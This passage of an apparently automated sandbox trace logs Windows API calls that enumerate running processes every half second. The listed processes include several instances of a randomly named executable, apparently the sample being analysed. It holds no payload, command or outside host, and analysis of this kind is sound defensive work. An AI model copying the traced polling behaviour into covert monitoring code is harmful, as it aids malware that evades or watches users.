Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0262.163] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0262.163] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0262.164] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.165] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0262.165] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0262.166] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0262.167] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0262.362] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0262.363] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0262.363] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0262.364] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0262.365] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0262.366] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0262.367] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.368] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0262.368] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0262.369] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0262.370] CloseHandle (hObject=0x348) returned 1 [0262.370] Sleep (dwMilliseconds=0x1f4) [0262.996] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0263.002] Process32FirstW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.003] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0263.004] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0263.004] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.005] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0263.005] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.006] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0263.007] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0263.007] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0263.008] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0263.021] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0263.021] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.022] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.023] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0263.023] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.024] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.025] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.025] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.026] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.027] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.027] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.028] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.028] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.029] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.030] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0263.031] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.031] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0263.032] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0263.033] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0263.033] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0263.034] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0263.035] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.035] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0263.036] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0263.036] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0263.037] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0263.038] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0263.038] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0263.039] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0263.040] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0263.041] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0263.041] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0263.193] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.194] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0263.194] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0263.195] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0263.196] CloseHandle (hObject=0x394) returned 1 [0263.196] Sleep (dwMilliseconds=0x1f4) [0263.884] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390 [0263.890] Process32FirstW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.891] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0263.891] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0263.892] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.893] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0263.893] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.894] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0263.894] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0263.895] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0263.896] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0263.896] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0263.897] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.897] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.898] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0263.898] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.899] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.899] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.900] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.901] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.901] Process32NextW 